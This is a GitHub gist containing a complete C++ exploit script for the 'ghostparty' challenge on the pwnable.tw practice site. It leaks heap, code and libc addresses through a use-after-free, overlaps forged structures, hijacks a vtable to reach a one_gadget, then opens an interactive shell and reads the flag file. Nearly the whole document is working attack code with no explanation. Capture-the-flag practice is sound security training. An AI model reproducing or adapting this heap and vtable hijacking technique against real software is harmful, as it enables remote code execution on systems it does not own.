Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created June 16, 2021 19:02
Show Gist options
  • Save hkraw/f0a335d9bec540b108e08d8ffbd198aa to your computer and use it in GitHub Desktop.
Save hkraw/f0a335d9bec540b108e08d8ffbd198aa to your computer and use it in GitHub Desktop.
solve c++ tasks in c++ :P
#include <iostream>
#include <pwntools>
#include <string>
uint64_t vtable_offset = 0x210b60;
uint64_t openat_got_offset = 0x210fe8;
uint64_t libc_open_offset = 0xf6450;
class Ghost {
public:
// pwn::Process io = pwn::Process("./ghostparty");
pwn::Remote io = pwn::Remote("chall.pwnable.tw", 10401);
Ghost() {}
void devil(uint32_t age, const std::string &name, const std::string &message,
const std::string &power, uint32_t is_joining) {
add(2, age, name, message);
io.sendlineafter("power : ", power);
io.sendlineafter("choice : ", std::to_string(is_joining));
}
void vampire(uint32_t age, const std::string &name,
const std::string &message, const std::string &blood,
uint32_t is_joining) {
add(7, age, name, message);
io.sendlineafter("blood :", blood);
io.sendlineafter("choice : ", std::to_string(is_joining));
}
void show(uint32_t index) {
io.sendlineafter("choice :", "2");
io.sendlineafter("party : ", std::to_string(index));
}
void night() { io.sendlineafter("choice :", "3"); }
void remove(uint32_t index) {
io.sendlineafter("choice :", "4");
io.sendlineafter("party : ", std::to_string(index));
}
private:
void add(uint32_t type, uint32_t age, const std::string &name,
const std::string &message) {
io.sendlineafter("choice :", "1");
io.sendlineafter("Name : ", name);
io.sendlineafter("Age : ", std::to_string(age));
io.sendlineafter("Message : ", message);
io.sendlineafter("ghost :", std::to_string(type));
}
};
int main() {
Ghost ghost;
ghost.vampire(10, "HK", "HK", std::string(0x67, 'A'), 3); // 0
ghost.show(0);
ghost.io.recvuntil("Blood : ");
uint64_t heap_leak = pwn::u64(ghost.io.recv(6) + std::string(2, 0));
printf("[+] Heap leak: %p\n", (void *)heap_leak);
ghost.devil(1337, "LMFAO", "LMAO", std::string(0x67, 'A'), 1); // 1
ghost.show(0);
ghost.io.recvuntil("Blood : ");
uint64_t code_leak = pwn::u64(ghost.io.recv(6) + std::string(2, 0));
uint64_t codebase = code_leak - vtable_offset;
printf("[+] Code base: %p\n", (void *)codebase);
ghost.vampire(10, "HK", "HK", "HK", 1); // 2
ghost.vampire(10, "HK", "HK", "HK", 1); // 3
ghost.remove(0);
ghost.remove(2);
std::string fake_struct_overlapped;
fake_struct_overlapped = pwn::flat(
codebase + vtable_offset, 0x1337UL, codebase + openat_got_offset,
codebase + openat_got_offset, 0x7UL, 0UL, 0UL,
codebase + openat_got_offset, 0x2UL, 0UL, 0UL, heap_leak - 0x60
);
ghost.devil(1337, "HK", "HK", fake_struct_overlapped, 1);
ghost.io.sendlineafter("choice :", "2");
ghost.io.recvuntil("0. ");
uint64_t libc_leak = pwn::u64(ghost.io.recv(6) + std::string(2, 0));
uint64_t libc_base = libc_leak - libc_open_offset;
printf("[+] Libc base: %p\n", (void *)libc_base);
uint64_t one_gadget = libc_base + 0xef6c4;
ghost.io.sendlineafter("party : ", "4");
std::string fake_vtable = pwn::flat(0UL, 0UL, one_gadget);
fake_vtable += std::string(0x60 - 0x18, 'E');
ghost.vampire(1337, "ONE", "HK", std::string(0x67, 'A'), 3);
ghost.devil(1337, "TARGET", "HK", fake_vtable, 1);
ghost.vampire(10, "HK", "HK", "HK", 1);
ghost.remove(3);
ghost.remove(1);
std::string fake_struct_overlapped_2;
fake_struct_overlapped_2 =
pwn::flat(heap_leak + 0x3e0 - 0x60, 0x1337UL, heap_leak, heap_leak, 0x7UL,
0UL, 0UL, heap_leak, 2UL, 0UL, 0UL, heap_leak );
ghost.devil(31337, "LOL", "HK", fake_struct_overlapped_2, 1);
ghost.io.sendlineafter("choice :", "2");
ghost.io.sendlineafter("party : ", "2");
ghost.io.sendline("cat /home/*/flag*");
ghost.io.interactive();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment